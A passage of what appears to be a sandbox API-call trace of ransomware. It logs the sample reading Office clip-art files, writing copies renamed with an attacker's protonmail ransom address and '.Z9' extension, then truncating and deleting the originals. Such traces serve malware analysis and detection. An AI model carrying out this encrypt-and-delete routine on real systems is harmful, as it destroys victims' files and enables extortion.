	[0084.586] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0084.586] lstrlenW (lpString=".docx") returned 5
	[0084.586] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0084.586] lstrlenW (lpString=".pdf") returned 4
	[0084.586] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0084.586] lstrlenW (lpString=".xls") returned 4
	[0084.586] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0084.586] lstrlenW (lpString=".xlsx") returned 5
	[0084.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0084.586] lstrlenW (lpString=".ppt") returned 4
	[0084.586] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0084.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0084.586] lstrlenW (lpString=".zip") returned 4
	[0084.586] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0084.586] lstrlenW (lpString=".rar") returned 4
	[0084.586] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0084.586] lstrlenW (lpString=".bz2") returned 4
	[0084.586] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0084.586] lstrlenW (lpString=".7z") returned 3
	[0084.586] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0084.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0084.586] lstrlenW (lpString=".dbf") returned 4
	[0084.586] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0084.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0084.587] lstrlenW (lpString=".1cd") returned 4
	[0084.587] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0084.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68
	[0084.587] lstrlenW (lpString=".jpg") returned 4
	[0084.587] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0084.587] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0084.587] lstrlenW (lpString="BD10972_.GIF") returned 12
	[0084.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.587] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=20189) returned 1
	[0084.587] CloseHandle (hObject=0x2bc) returned 1
	[0084.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220
	[0084.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.588] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.588] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0084.588] GetLastError () returned 0x0
	[0084.588] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x4edd, lpOverlapped=0x0) returned 1
	[0084.863] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4ee0, lpOverlapped=0x0) returned 1
	[0084.873] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.873] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.874] SetEndOfFile (hFile=0x39c) returned 1
	[0084.874] CloseHandle (hObject=0x39c) returned 1
	[0084.875] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.875] SetEndOfFile (hFile=0x2bc) returned 1
	[0084.876] CloseHandle (hObject=0x2bc) returned 1
	[0084.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1
	[0084.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0084.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0084.876] lstrlenW (lpString=".doc") returned 4
	[0084.876] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0084.876] lstrlenW (lpString=".docx") returned 5
	[0084.876] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0084.876] lstrlenW (lpString=".pdf") returned 4
	[0084.876] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0084.876] lstrlenW (lpString=".xls") returned 4
	[0084.876] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0084.876] lstrlenW (lpString=".xlsx") returned 5
	[0084.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0084.876] lstrlenW (lpString=".ppt") returned 4
	[0084.876] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0084.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0084.877] lstrlenW (lpString=".zip") returned 4
	[0084.877] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0084.877] lstrlenW (lpString=".rar") returned 4
	[0084.877] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0084.877] lstrlenW (lpString=".bz2") returned 4
	[0084.877] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0084.877] lstrlenW (lpString=".7z") returned 3
	[0084.877] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0084.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0084.877] lstrlenW (lpString=".dbf") returned 4
	[0084.877] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0084.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0084.877] lstrlenW (lpString=".1cd") returned 4
	[0084.877] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0084.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0084.877] lstrlenW (lpString=".jpg") returned 4
	[0084.877] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0084.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0084.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0084.877] lstrlenW (lpString=".doc") returned 4
	[0084.877] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0084.877] lstrlenW (lpString=".docx") returned 5
	[0084.877] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0084.877] lstrlenW (lpString=".pdf") returned 4
	[0084.877] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0084.877] lstrlenW (lpString=".xls") returned 4
	[0084.877] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0084.877] lstrlenW (lpString=".xlsx") returned 5
	[0084.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0084.877] lstrlenW (lpString=".ppt") returned 4
	[0084.877] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0084.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0084.877] lstrlenW (lpString=".zip") returned 4
	[0084.877] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0084.877] lstrlenW (lpString=".rar") returned 4
	[0084.878] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0084.878] lstrlenW (lpString=".bz2") returned 4
	[0084.878] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0084.878] lstrlenW (lpString=".7z") returned 3
	[0084.878] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0084.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0084.878] lstrlenW (lpString=".dbf") returned 4
	[0084.878] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0084.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0084.878] lstrlenW (lpString=".1cd") returned 4
	[0084.878] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0084.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0084.878] lstrlenW (lpString=".jpg") returned 4
	[0084.878] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0084.878] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.878] lstrlenW (lpString="BL00105_.WMF") returned 12
	[0084.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.878] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=880) returned 1
	[0084.878] CloseHandle (hObject=0x2bc) returned 1
	[0084.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220
	[0084.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.879] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.879] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0084.879] GetLastError () returned 0x0
	[0084.879] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x370, lpOverlapped=0x0) returned 1
	[0084.881] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x380, lpOverlapped=0x0) returned 1
	[0084.882] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.882] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.882] SetEndOfFile (hFile=0x39c) returned 1
	[0084.882] CloseHandle (hObject=0x39c) returned 1
	[0084.885] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.885] SetEndOfFile (hFile=0x2bc) returned 1
	[0084.886] CloseHandle (hObject=0x2bc) returned 1
	[0084.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1
	[0084.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0084.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0084.886] lstrlenW (lpString=".doc") returned 4
	[0084.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.887] lstrlenW (lpString=".docx") returned 5
	[0084.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.887] lstrlenW (lpString=".pdf") returned 4
	[0084.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.887] lstrlenW (lpString=".xls") returned 4
	[0084.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.887] lstrlenW (lpString=".xlsx") returned 5
	[0084.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.887] lstrlenW (lpString=".ppt") returned 4
	[0084.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0084.887] lstrlenW (lpString=".zip") returned 4
	[0084.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.887] lstrlenW (lpString=".rar") returned 4
	[0084.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.887] lstrlenW (lpString=".bz2") returned 4
	[0084.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.887] lstrlenW (lpString=".7z") returned 3
	[0084.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0084.887] lstrlenW (lpString=".dbf") returned 4
	[0084.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0084.887] lstrlenW (lpString=".1cd") returned 4
	[0084.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0084.887] lstrlenW (lpString=".jpg") returned 4
	[0084.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0084.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0084.887] lstrlenW (lpString=".doc") returned 4
	[0084.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.887] lstrlenW (lpString=".docx") returned 5
	[0084.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.888] lstrlenW (lpString=".pdf") returned 4
	[0084.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.888] lstrlenW (lpString=".xls") returned 4
	[0084.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.888] lstrlenW (lpString=".xlsx") returned 5
	[0084.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.888] lstrlenW (lpString=".ppt") returned 4
	[0084.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0084.888] lstrlenW (lpString=".zip") returned 4
	[0084.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.888] lstrlenW (lpString=".rar") returned 4
	[0084.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.888] lstrlenW (lpString=".bz2") returned 4
	[0084.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.888] lstrlenW (lpString=".7z") returned 3
	[0084.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0084.888] lstrlenW (lpString=".dbf") returned 4
	[0084.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0084.888] lstrlenW (lpString=".1cd") returned 4
	[0084.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68
	[0084.888] lstrlenW (lpString=".jpg") returned 4
	[0084.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.888] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.889] lstrlenW (lpString="BL00122_.WMF") returned 12
	[0084.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.889] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=10146) returned 1
	[0084.889] CloseHandle (hObject=0x2bc) returned 1
	[0084.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220
	[0084.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0084.889] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.889] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0084.890] GetLastError () returned 0x0
	[0084.890] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x27a2, lpOverlapped=0x0) returned 1
	[0084.892] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x27b0, lpOverlapped=0x0) returned 1
	[0084.893] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.893] WriteFile (in: hFile=0x39c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.893] SetEndOfFile (hFile=0x39c) returned 1
	[0084.893] CloseHandle (hObject=0x39c) returned 1
	[0084.894] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.894] SetEndOfFile (hFile=0x2bc) returned 1
	[0084.895] CloseHandle (hObject=0x2bc) returned 1
	[0084.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1
	[0084.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0084.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0084.895] lstrlenW (lpString=".doc") returned 4
	[0084.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.895] lstrlenW (lpString=".docx") returned 5
	[0084.895] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.896] lstrlenW (lpString=".pdf") returned 4
	[0084.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString=".xls") returned 4
	[0084.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.896] lstrlenW (lpString=".xlsx") returned 5
	[0084.896] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.896] lstrlenW (lpString=".ppt") returned 4
	[0084.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0084.896] lstrlenW (lpString=".zip") returned 4
	[0084.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.896] lstrlenW (lpString=".rar") returned 4
	[0084.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString=".bz2") returned 4
	[0084.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString=".7z") returned 3
	[0084.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0084.896] lstrlenW (lpString=".dbf") returned 4
	[0084.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0084.896] lstrlenW (lpString=".1cd") returned 4
	[0084.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0084.896] lstrlenW (lpString=".jpg") returned 4
	[0084.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
